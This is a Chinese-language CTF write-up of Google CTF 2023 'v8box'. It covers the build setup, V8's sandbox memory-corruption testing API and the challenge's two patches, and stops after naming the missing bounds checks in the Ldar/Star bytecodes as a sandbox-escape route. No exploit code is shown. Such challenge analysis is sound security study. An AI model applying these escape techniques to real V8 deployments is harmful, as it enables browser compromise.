GoogleCTF2023-v8box

Google CTF 2023 - v8box

目录

[TOC]

环境搭建

查看下build.dockerfile,本地编译一个环境

1
2
3
4
5
6
7
8
9
10
fetch v8
git switch -d d90d4533b05301e2be813a5f90223f4c6c1bf63d
gclient sync
git apply < ./v8.patch
git apply < ./0001-Protect-chunk-headers-on-the-heap.patch
./tools/dev/v8gen.py x64.release

vim ./out.gn/x64.release/args.gn


根据附件所给的编译选项,修改args.gn的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Copyright 2023 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = true
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
dcheck_always_on = false
v8_jitless = true
v8_enable_maglev = false
v8_enable_turbofan = false
v8_enable_webassembly = false
v8_expose_memory_corruption_api = true
use_goma = false
v8_code_pointer_sandboxing = true

继续执行

1
2
3
gn gen out.gn/x64.release
ninja -C out.gn/x64.release -j 12 d8

留意上方的编译参数,这里的v8关闭了jit、maglev、turbofan、webassembly,然后开启了这个v8_expose_memory_corruption_api,这个api的作用是可以通过官方写的一些函数,对于sandbox内的空间进行操作,位于src/sandbox/testing.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
#ifdef V8_EXPOSE_MEMORY_CORRUPTION_API

namespace {

// Sandbox.byteLength
void SandboxGetByteLength(const v8::FunctionCallbackInfo<v8::Value>& info) {
DCHECK(ValidateCallbackInfo(info));
v8::Isolate* isolate = info.GetIsolate();
double sandbox_size = GetProcessWideSandbox()->size();
info.GetReturnValue().Set(v8::Number::New(isolate, sandbox_size));
}

// new Sandbox.MemoryView(info) -> Sandbox.MemoryView
void SandboxMemoryView(const v8::FunctionCallbackInfo<v8::Value>& info) {
DCHECK(ValidateCallbackInfo(info));
v8::Isolate* isolate = info.GetIsolate();
Local<v8::Context> context = isolate->GetCurrentContext();

if (!info.IsConstructCall()) {
isolate->ThrowError("Sandbox.MemoryView must be invoked with 'new'");
return;
}

Local<v8::Integer> arg1, arg2;
if (!info[0]->ToInteger(context).ToLocal(&arg1) ||
!info[1]->ToInteger(context).ToLocal(&arg2)) {
isolate->ThrowError("Expects two number arguments (start offset and size)");
return;
}

Sandbox* sandbox = GetProcessWideSandbox();
CHECK_LE(sandbox->size(), kMaxSafeIntegerUint64);

uint64_t offset = arg1->Value();
uint64_t size = arg2->Value();
if (offset > sandbox->size() || size > sandbox->size() ||
(offset + size) > sandbox->size()) {
isolate->ThrowError(
"The MemoryView must be entirely contained within the sandbox");
return;
}

Factory* factory = reinterpret_cast<Isolate*>(isolate)->factory();
std::unique_ptr<BackingStore> memory = BackingStore::WrapAllocation(
reinterpret_cast<void*>(sandbox->base() + offset), size,
v8::BackingStore::EmptyDeleter, nullptr, SharedFlag::kNotShared);
if (!memory) {
isolate->ThrowError("Out of memory: MemoryView backing store");
return;
}
Handle<JSArrayBuffer> buffer = factory->NewJSArrayBuffer(std::move(memory));
info.GetReturnValue().Set(Utils::ToLocal(buffer));
}

// Sandbox.getAddressOf(object) -> Number
void SandboxGetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
DCHECK(ValidateCallbackInfo(info));
v8::Isolate* isolate = info.GetIsolate();

if (info.Length() == 0) {
isolate->ThrowError("First argument must be provided");
return;
}

Handle<Object> arg = Utils::OpenHandle(*info[0]);
if (!arg->IsHeapObject()) {
isolate->ThrowError("First argument must be a HeapObject");
return;
}

// HeapObjects must be allocated inside the pointer compression cage so their
// address relative to the start of the sandbox can be obtained simply by
// taking the lowest 32 bits of the absolute address.
uint32_t address = static_cast<uint32_t>(HeapObject::cast(*arg).address());
info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
}

// Sandbox.getSizeOf(object) -> Number
void SandboxGetSizeOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
DCHECK(ValidateCallbackInfo(info));
v8::Isolate* isolate = info.GetIsolate();

if (info.Length() == 0) {
isolate->ThrowError("First argument must be provided");
return;
}

Handle<Object> arg = Utils::OpenHandle(*info[0]);
if (!arg->IsHeapObject()) {
isolate->ThrowError("First argument must be a HeapObject");
return;
}

int size = HeapObject::cast(*arg).Size();
info.GetReturnValue().Set(v8::Integer::New(isolate, size));
}

Handle<FunctionTemplateInfo> NewFunctionTemplate(
Isolate* isolate, FunctionCallback func,
ConstructorBehavior constructor_behavior) {
// Use the API functions here as they are more convenient to use.
v8::Isolate* api_isolate = reinterpret_cast<v8::Isolate*>(isolate);
Local<FunctionTemplate> function_template =
FunctionTemplate::New(api_isolate, func, {}, {}, 0, constructor_behavior,
SideEffectType::kHasSideEffect);
return v8::Utils::OpenHandle(*function_template);
}

Handle<JSFunction> CreateFunc(Isolate* isolate, FunctionCallback func,
Handle<String> name, bool is_constructor) {
ConstructorBehavior constructor_behavior = is_constructor
? ConstructorBehavior::kAllow
: ConstructorBehavior::kThrow;
Handle<FunctionTemplateInfo> function_template =
NewFunctionTemplate(isolate, func, constructor_behavior);
return ApiNatives::InstantiateFunction(function_template, name)
.ToHandleChecked();
}

void InstallFunc(Isolate* isolate, Handle<JSObject> holder,
FunctionCallback func, const char* name, int num_parameters,
bool is_constructor) {
Factory* factory = isolate->factory();
Handle<String> function_name = factory->NewStringFromAsciiChecked(name);
Handle<JSFunction> function =
CreateFunc(isolate, func, function_name, is_constructor);
function->shared().set_length(num_parameters);
JSObject::AddProperty(isolate, holder, function_name, function, NONE);
}

void InstallGetter(Isolate* isolate, Handle<JSObject> object,
FunctionCallback func, const char* name) {
Factory* factory = isolate->factory();
Handle<String> property_name = factory->NewStringFromAsciiChecked(name);
Handle<JSFunction> getter = CreateFunc(isolate, func, property_name, false);
Handle<Object> setter = factory->null_value();
JSObject::DefineOwnAccessorIgnoreAttributes(object, property_name, getter,
setter, FROZEN);
}

void InstallFunction(Isolate* isolate, Handle<JSObject> holder,
FunctionCallback func, const char* name,
int num_parameters) {
InstallFunc(isolate, holder, func, name, num_parameters, false);
}

void InstallConstructor(Isolate* isolate, Handle<JSObject> holder,
FunctionCallback func, const char* name,
int num_parameters) {
InstallFunc(isolate, holder, func, name, num_parameters, true);
}

} // namespace

void SandboxTesting::InstallMemoryCorruptionApi(Isolate* isolate) {
CHECK(GetProcessWideSandbox()->is_initialized());

#ifndef V8_EXPOSE_MEMORY_CORRUPTION_API
#error "This function should not be available in any shipping build " \
"where it could potentially be abused to facilitate exploitation."
#endif

Factory* factory = isolate->factory();

// Create the special Sandbox object that provides read/write access to the
// sandbox address space alongside other miscellaneous functionality.
Handle<JSObject> sandbox =
factory->NewJSObject(isolate->object_function(), AllocationType::kOld);

InstallGetter(isolate, sandbox, SandboxGetByteLength, "byteLength");
InstallConstructor(isolate, sandbox, SandboxMemoryView, "MemoryView", 2);
InstallFunction(isolate, sandbox, SandboxGetAddressOf, "getAddressOf", 1);
InstallFunction(isolate, sandbox, SandboxGetSizeOf, "getSizeOf", 1);

// Install the Sandbox object as property on the global object.
Handle<JSGlobalObject> global = isolate->global_object();
Handle<String> name = factory->NewStringFromAsciiChecked("Sandbox");
JSObject::AddProperty(isolate, global, name, sandbox, DONT_ENUM);
}

#endif // V8_EXPOSE_MEMORY_CORRUPTION_API

有以下方法,相当于是直接有了oob原语。

1
2
3
4
Sandbox.byteLength
new Sandbox.MemoryView(info) -> Sandbox.MemoryView
Sandbox.getAddressOf(object) -> Number
Sandbox.getSizeOf(object) -> Number

后来查阅了新版本,大致是v8 12.x以上的,新增了一些方法,同时编译选项也发生了一些变化,变成了V8_ENABLE_MEMORY_CORRUPTION_API,同时多出了一些方法,见下方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

void SandboxTesting::InstallMemoryCorruptionApi(Isolate* isolate) {
#ifndef V8_ENABLE_MEMORY_CORRUPTION_API
#error "This function should not be available in any shipping build " \
"where it could potentially be abused to facilitate exploitation."
#endif

CHECK(Sandbox::current()->is_initialized());

// Create the special Sandbox object that provides read/write access to the
// sandbox address space alongside other miscellaneous functionality.
Handle<JSObject> sandbox = isolate->factory()->NewJSObject(
isolate->object_function(), AllocationType::kOld);

InstallGetter(isolate, sandbox, SandboxGetBase, "base");
InstallGetter(isolate, sandbox, SandboxGetByteLength, "byteLength");
InstallConstructor(isolate, sandbox, SandboxMemoryView, "MemoryView", 2);
InstallFunction(isolate, sandbox, SandboxGetAddressOf, "getAddressOf", 1);
InstallFunction(isolate, sandbox, SandboxGetObjectAt, "getObjectAt", 1);
InstallFunction(isolate, sandbox, SandboxIsValidObjectAt, "isValidObjectAt",
1);
InstallFunction(isolate, sandbox, SandboxIsWritable, "isWritable", 1);
InstallFunction(isolate, sandbox, SandboxIsWritableObjectAt,
"isWritableObjectAt", 1);
InstallFunction(isolate, sandbox, SandboxGetSizeOf, "getSizeOf", 1);
InstallFunction(isolate, sandbox, SandboxGetSizeOfObjectAt,
"getSizeOfObjectAt", 1);
InstallFunction(isolate, sandbox, SandboxGetInstanceTypeOf,
"getInstanceTypeOf", 1);
InstallFunction(isolate, sandbox, SandboxGetInstanceTypeOfObjectAt,
"getInstanceTypeOfObjectAt", 1);
InstallFunction(isolate, sandbox, SandboxGetInstanceTypeIdOf,
"getInstanceTypeIdOf", 1);
InstallFunction(isolate, sandbox, SandboxGetInstanceTypeIdOfObjectAt,
"getInstanceTypeIdOfObjectAt", 1);
InstallFunction(isolate, sandbox, SandboxGetInstanceTypeIdFor,
"getInstanceTypeIdFor", 1);
InstallFunction(isolate, sandbox, SandboxGetFieldOffset, "getFieldOffset", 2);

// Install the Sandbox object as property on the global object.
Handle<JSGlobalObject> global = isolate->global_object();
Handle<String> name =
isolate->factory()->NewStringFromAsciiChecked("Sandbox");
JSObject::AddProperty(isolate, global, name, sandbox, DONT_ENUM);
}

#endif // V8_ENABLE_MEMORY_CORRUPTION_API

同时开启了这个编译选项v8_code_pointer_sandboxing,实现的issue id。因为我们此时已经又了4GB空间任意读写,所以如果修改了某些函数指针的值,是可以很容易的控制rip,所以这个保护就是来阻止这种行为。对于可执行的函数指针,都会有一个固定的入口(code pointer table),然后根据偏移来索引对应的代码。

漏洞分析

patch分析

下面是v8.patch的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# Copyright 2023 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 7c57acde43..652aa480dd 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3336,6 +3336,7 @@ static void AccessIndexedEnumerator(const PropertyCallbackInfo<Array>& info) {}

Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
+ if (/* DISABLES CODE */ (false)) {
global_template->Set(Symbol::GetToStringTag(isolate),
String::NewFromUtf8Literal(isolate, "global"));
global_template->Set(isolate, "version",
@@ -3358,8 +3359,10 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
FunctionTemplate::New(isolate, ReadLine));
global_template->Set(isolate, "load",
FunctionTemplate::New(isolate, ExecuteFile));
+ }
global_template->Set(isolate, "setTimeout",
FunctionTemplate::New(isolate, SetTimeout));
+ if (/* DISABLES CODE */ (false)) {
// Some Emscripten-generated code tries to call 'quit', which in turn would
// call C's exit(). This would lead to memory leaks, because there is no way
// we can terminate cleanly then, so we need a way to hide 'quit'.
@@ -3390,6 +3393,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
global_template->Set(isolate, "async_hooks",
Shell::CreateAsyncHookTemplate(isolate));
}
+ }

if (options.throw_on_failed_access_check ||
options.noop_on_failed_access_check) {

找到对应的源码看下,这里关掉了一些d8的选项,为了编译更轻量化?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
if (/* DISABLES CODE */ (false)) {
global_template->Set(Symbol::GetToStringTag(isolate),
String::NewFromUtf8Literal(isolate, "global"));
global_template->Set(isolate, "version",
FunctionTemplate::New(isolate, Version));

global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
global_template->Set(isolate, "printErr",
FunctionTemplate::New(isolate, PrintErr));
global_template->Set(isolate, "write",
FunctionTemplate::New(isolate, WriteStdout));
if (!i::v8_flags.fuzzing) {
global_template->Set(isolate, "writeFile",
FunctionTemplate::New(isolate, WriteFile));
}
global_template->Set(isolate, "read",
FunctionTemplate::New(isolate, ReadFile));
global_template->Set(isolate, "readbuffer",
FunctionTemplate::New(isolate, ReadBuffer));
global_template->Set(isolate, "readline",
FunctionTemplate::New(isolate, ReadLine));
global_template->Set(isolate, "load",
FunctionTemplate::New(isolate, ExecuteFile));
}
global_template->Set(isolate, "setTimeout",
FunctionTemplate::New(isolate, SetTimeout));
if (/* DISABLES CODE */ (false)) {
// Some Emscripten-generated code tries to call 'quit', which in turn would
// call C's exit(). This would lead to memory leaks, because there is no way
// we can terminate cleanly then, so we need a way to hide 'quit'.
if (!options.omit_quit) {
global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
}
global_template->Set(isolate, "testRunner",
Shell::CreateTestRunnerTemplate(isolate));
global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
global_template->Set(isolate, "performance",
Shell::CreatePerformanceTemplate(isolate));
global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));

// Prevent fuzzers from creating side effects.
if (!i::v8_flags.fuzzing) {
global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
}
global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));

#ifdef V8_FUZZILLI
global_template->Set(
String::NewFromUtf8(isolate, "fuzzilli", NewStringType::kNormal)
.ToLocalChecked(),
FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
#endif // V8_FUZZILLI

if (i::v8_flags.expose_async_hooks) {
global_template->Set(isolate, "async_hooks",
Shell::CreateAsyncHookTemplate(isolate));
}
}

接着是0001-Protect-chunk-headers-on-the-heap.patch的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
# Copyright 2023 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
diff --git a/src/common/code-memory-access-inl.h b/src/common/code-memory-access-inl.h
index 4b8ac2e5c7..58542dc4e5 100644
--- a/src/common/code-memory-access-inl.h
+++ b/src/common/code-memory-access-inl.h
@@ -17,6 +17,18 @@
namespace v8 {
namespace internal {

+RwMemoryWriteScope::RwMemoryWriteScope() {
+ SetWritable();
+}
+
+RwMemoryWriteScope::RwMemoryWriteScope(const char *comment) {
+ SetWritable();
+}
+
+RwMemoryWriteScope::~RwMemoryWriteScope() {
+ SetReadOnly();
+}
+
RwxMemoryWriteScope::RwxMemoryWriteScope(const char* comment) {
if (!v8_flags.jitless) {
SetWritable();
diff --git a/src/common/code-memory-access.cc b/src/common/code-memory-access.cc
index be3b9741d2..b8c59c331f 100644
--- a/src/common/code-memory-access.cc
+++ b/src/common/code-memory-access.cc
@@ -4,6 +4,10 @@

#include "src/common/code-memory-access-inl.h"
#include "src/utils/allocation.h"
+#include "src/common/globals.h"
+#include "src/execution/isolate-inl.h"
+
+#include <sys/mman.h>

namespace v8 {
namespace internal {
@@ -11,6 +15,68 @@ namespace internal {
ThreadIsolation::TrustedData ThreadIsolation::trusted_data_;
ThreadIsolation::UntrustedData ThreadIsolation::untrusted_data_;

+thread_local int RwMemoryWriteScope::nesting_level_ = 0;
+
+static void ProtectSpace(Space *space, int prot) {
+ if (space->memory_chunk_list().Empty()) {
+ return;
+ }
+
+ MemoryChunk *c = space->memory_chunk_list().front();
+ while (c) {
+ void *addr = reinterpret_cast<void *>(c->address());
+ // printf("making %p read-only\n", addr);
+ CHECK(mprotect(addr, RoundDown(sizeof(MemoryChunk), 0x1000), prot) == 0);
+ c = c->list_node().next();
+ }
+}
+
+// static
+void RwMemoryWriteScope::SetWritable() {
+ if (nesting_level_ == 0) {
+ int prot = PROT_READ | PROT_WRITE;
+ Isolate *isolate = Isolate::Current();
+ for (int i = FIRST_MUTABLE_SPACE; i < LAST_SPACE; i++) {
+ Space *space = isolate->heap()->space(i);
+ if (space == nullptr) {
+ continue;
+ }
+
+ if (!v8_flags.minor_mc && i == NEW_SPACE) {
+ SemiSpaceNewSpace* semi_space_new_space = SemiSpaceNewSpace::From(static_cast<NewSpace *>(space));
+ ProtectSpace(&semi_space_new_space->from_space(), prot);
+ ProtectSpace(&semi_space_new_space->to_space(), prot);
+ } else {
+ ProtectSpace(space, prot);
+ }
+ }
+ }
+ nesting_level_++;
+}
+
+// static
+void RwMemoryWriteScope::SetReadOnly() {
+ nesting_level_--;
+ if (nesting_level_ == 0) {
+ int prot = PROT_READ;
+ Isolate *isolate = Isolate::Current();
+ for (int i = FIRST_MUTABLE_SPACE; i < LAST_SPACE; i++) {
+ Space *space = isolate->heap()->space(i);
+ if (space == nullptr) {
+ continue;
+ }
+
+ if (!v8_flags.minor_mc && i == NEW_SPACE) {
+ SemiSpaceNewSpace* semi_space_new_space = SemiSpaceNewSpace::From(static_cast<NewSpace *>(space));
+ ProtectSpace(&semi_space_new_space->from_space(), prot);
+ ProtectSpace(&semi_space_new_space->to_space(), prot);
+ } else {
+ ProtectSpace(space, prot);
+ }
+ }
+ }
+}
+
#if V8_HAS_PTHREAD_JIT_WRITE_PROTECT || V8_HAS_PKU_JIT_WRITE_PROTECT
thread_local int RwxMemoryWriteScope::code_space_write_nesting_level_ = 0;
#endif // V8_HAS_PTHREAD_JIT_WRITE_PROTECT || V8_HAS_PKU_JIT_WRITE_PROTECT
diff --git a/src/common/code-memory-access.h b/src/common/code-memory-access.h
index e90dcc9a64..4e835c87c7 100644
--- a/src/common/code-memory-access.h
+++ b/src/common/code-memory-access.h
@@ -331,6 +331,22 @@ class V8_NODISCARD RwxMemoryWriteScope {
#endif // V8_HAS_PTHREAD_JIT_WRITE_PROTECT || V8_HAS_PKU_JIT_WRITE_PROTECT
};

+class V8_NODISCARD RwMemoryWriteScope final {
+ public:
+ V8_INLINE RwMemoryWriteScope();
+ V8_INLINE explicit RwMemoryWriteScope(const char *comment);
+ V8_INLINE ~RwMemoryWriteScope();
+
+ RwMemoryWriteScope(const RwMemoryWriteScope&) = delete;
+ RwMemoryWriteScope& operator=(const RwMemoryWriteScope&) = delete;
+
+ private:
+ static void SetWritable();
+ static void SetReadOnly();
+
+ static thread_local int nesting_level_;
+};
+
// This class is a no-op version of the RwxMemoryWriteScope class above.
// It's used as a target type for other scope type definitions when a no-op
// semantics is required.
@@ -346,7 +362,7 @@ using CodePageMemoryModificationScopeForPerf = RwxMemoryWriteScope;
#else
// Without per-thread write permissions, we only use permission switching for
// debugging and the perf impact of this doesn't matter.
-using CodePageMemoryModificationScopeForPerf = NopRwxMemoryWriteScope;
+using CodePageMemoryModificationScopeForPerf = RwMemoryWriteScope;
#endif

// Same as the RwxMemoryWriteScope but without inlining the code.
diff --git a/src/execution/isolate.cc b/src/execution/isolate.cc
index c935c8c5ca..2534b7bc2e 100644
--- a/src/execution/isolate.cc
+++ b/src/execution/isolate.cc
@@ -61,6 +61,7 @@
#include "src/handles/persistent-handles.h"
#include "src/heap/heap-inl.h"
#include "src/heap/heap-verifier.h"
+#include "src/heap/heap.h"
#include "src/heap/local-heap-inl.h"
#include "src/heap/parked-scope.h"
#include "src/heap/read-only-heap.h"
@@ -4236,6 +4237,8 @@ void Isolate::VerifyStaticRoots() {
bool Isolate::Init(SnapshotData* startup_snapshot_data,
SnapshotData* read_only_snapshot_data,
SnapshotData* shared_heap_snapshot_data, bool can_rehash) {
+ CodePageHeaderModificationScope scope{};
+
TRACE_ISOLATE(init);

#ifdef V8_COMPRESS_POINTERS_IN_SHARED_CAGE
diff --git a/src/heap/heap.cc b/src/heap/heap.cc
index 4d7c611dfd..d3027dd3b2 100644
--- a/src/heap/heap.cc
+++ b/src/heap/heap.cc
@@ -1748,6 +1748,8 @@ void Heap::CollectGarbage(AllocationSpace space,

DCHECK(AllowGarbageCollection::IsAllowed());

+ CodePageHeaderModificationScope hsm{};
+
const char* collector_reason = nullptr;
const GarbageCollector collector =
SelectGarbageCollector(space, gc_reason, &collector_reason);
diff --git a/src/heap/heap.h b/src/heap/heap.h
index 6675b09348..67772961fe 100644
--- a/src/heap/heap.h
+++ b/src/heap/heap.h
@@ -2537,7 +2537,10 @@ class V8_NODISCARD AlwaysAllocateScopeForTesting {
// scope.
#if V8_HEAP_USE_PTHREAD_JIT_WRITE_PROTECT
using CodePageHeaderModificationScope = RwxMemoryWriteScope;
+#elif defined(V8_JITLESS)
+using CodePageHeaderModificationScope = RwMemoryWriteScope;
#else
+#error "JIT not supported"
// When write protection of code page headers is not required the scope is
// a no-op.
using CodePageHeaderModificationScope = NopRwxMemoryWriteScope;
@@ -2560,6 +2563,7 @@ class V8_NODISCARD CodePageMemoryModificationScope {
bool scope_active_;
base::Optional<base::MutexGuard> guard_;
#endif
+ RwMemoryWriteScope header_scope_;

// Disallow any GCs inside this scope, as a relocation of the underlying
// object would change the {MemoryChunk} that this scope targets.
diff --git a/src/heap/memory-chunk.cc b/src/heap/memory-chunk.cc
index 0fc34c12a1..479993b219 100644
--- a/src/heap/memory-chunk.cc
+++ b/src/heap/memory-chunk.cc
@@ -10,6 +10,7 @@
#include "src/common/globals.h"
#include "src/heap/basic-memory-chunk.h"
#include "src/heap/code-object-registry.h"
+#include "src/heap/heap.h"
#include "src/heap/marking-state-inl.h"
#include "src/heap/memory-allocator.h"
#include "src/heap/memory-chunk-inl.h"
@@ -223,6 +224,7 @@ void MemoryChunk::ReleaseAllAllocatedMemory() {
}

SlotSet* MemoryChunk::AllocateSlotSet(RememberedSetType type) {
+ CodePageHeaderModificationScope scope{};
SlotSet* new_slot_set = SlotSet::Allocate(buckets());
SlotSet* old_slot_set = base::AsAtomicPointer::AcquireRelease_CompareAndSwap(
&slot_set_[type], nullptr, new_slot_set);
diff --git a/src/heap/paged-spaces.cc b/src/heap/paged-spaces.cc
index 6083c2a420..5b6d7c965e 100644
--- a/src/heap/paged-spaces.cc
+++ b/src/heap/paged-spaces.cc
@@ -311,6 +311,9 @@ void PagedSpaceBase::SetTopAndLimit(Address top, Address limit, Address end) {
DCHECK_GE(end, limit);
DCHECK(top == limit ||
Page::FromAddress(top) == Page::FromAddress(limit - 1));
+
+ CodePageHeaderModificationScope scope{};
+
BasicMemoryChunk::UpdateHighWaterMark(allocation_info_.top());
allocation_info_.Reset(top, limit);

@@ -814,6 +817,7 @@ void PagedSpaceBase::UpdateInlineAllocationLimit() {
// OldSpace implementation

bool PagedSpaceBase::RefillLabMain(int size_in_bytes, AllocationOrigin origin) {
+ CodePageHeaderModificationScope scope("RefillLabMain");
VMState<GC> state(heap()->isolate());
RCS_SCOPE(heap()->isolate(),
RuntimeCallCounterId::kGC_Custom_SlowAllocateRaw);

先创建了三个方法

1
2
3
4
5
6
7
8
9
10
11
12
+RwMemoryWriteScope::RwMemoryWriteScope() {
+ SetWritable();
+}
+
+RwMemoryWriteScope::RwMemoryWriteScope(const char *comment) {
+ SetWritable();
+}
+
+RwMemoryWriteScope::~RwMemoryWriteScope() {
+ SetReadOnly();
+}
+

下面在RwMemoryWriteScope命名空间下新增了三个方法,分别是ProtectSpace、SetWritable、SetReadOnly。

ProtectSpace的作用是将一段地址赋为指定的权限,核心是这里mprotect(addr, RoundDown(sizeof(MemoryChunk), 0x1000), prot),就是熟悉的权限修改。

SetWritable的作用是将当前的地址空间赋为rw权限,需要注意其处理,对于young generation且没有被gc处理过的内存空间,会将from_space和to_space的地址空间权限赋为rw,反之就是已经处理过的old generaion 直接调用ProtectSpace去赋权限;SetReadOnly的作用同理,结构和SetWritable是一样的。

这里其实就已经存在了一个条件竞争的问题,两个函数使用了nesting_level_变量来约束,但是对于多线程的情况其实就会出现问题,但这个并不是预期解法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
+thread_local int RwMemoryWriteScope::nesting_level_ = 0;
+
+static void ProtectSpace(Space *space, int prot) {
+ if (space->memory_chunk_list().Empty()) {
+ return;
+ }
+
+ MemoryChunk *c = space->memory_chunk_list().front();
+ while (c) {
+ void *addr = reinterpret_cast<void *>(c->address());
+ // printf("making %p read-only\n", addr);
+ CHECK(mprotect(addr, RoundDown(sizeof(MemoryChunk), 0x1000), prot) == 0);
+ c = c->list_node().next();
+ }
+}
+
+// static
+void RwMemoryWriteScope::SetWritable() {
+ if (nesting_level_ == 0) {
+ int prot = PROT_READ | PROT_WRITE;
+ Isolate *isolate = Isolate::Current();
+ for (int i = FIRST_MUTABLE_SPACE; i < LAST_SPACE; i++) {
+ Space *space = isolate->heap()->space(i);
+ if (space == nullptr) {
+ continue;
+ }
+
+ if (!v8_flags.minor_mc && i == NEW_SPACE) {
+ SemiSpaceNewSpace* semi_space_new_space = SemiSpaceNewSpace::From(static_cast<NewSpace *>(space));
+ ProtectSpace(&semi_space_new_space->from_space(), prot);
+ ProtectSpace(&semi_space_new_space->to_space(), prot);
+ } else {
+ ProtectSpace(space, prot);
+ }
+ }
+ }
+ nesting_level_++;
+}
+
+// static
+void RwMemoryWriteScope::SetReadOnly() {
+ nesting_level_--;
+ if (nesting_level_ == 0) {
+ int prot = PROT_READ;
+ Isolate *isolate = Isolate::Current();
+ for (int i = FIRST_MUTABLE_SPACE; i < LAST_SPACE; i++) {
+ Space *space = isolate->heap()->space(i);
+ if (space == nullptr) {
+ continue;
+ }
+
+ if (!v8_flags.minor_mc && i == NEW_SPACE) {
+ SemiSpaceNewSpace* semi_space_new_space = SemiSpaceNewSpace::From(static_cast<NewSpace *>(space));
+ ProtectSpace(&semi_space_new_space->from_space(), prot);
+ ProtectSpace(&semi_space_new_space->to_space(), prot);
+ } else {
+ ProtectSpace(space, prot);
+ }
+ }
+ }
+}
+

漏洞分析

Ignition作为v8的字节码解释器,JavaScripts代码会被转化为字节码,然后字节码通过Ignition解释执行,所以即使Maglev/Jit关闭,也不会影响到Ignition。

Ignition 会从字节码数组中读取指令执行,这些字节码通常是从源代码编译而来的,所以通过修改这些字节码数组的内容,可以实现指令的执行,但是要如何实现沙箱逃逸呢?

v8的js解释器定义了一些opcode,这些其中Ldar和Star出现了缺乏边界检查的问题,我们可以利用这两个实现沙箱逃逸

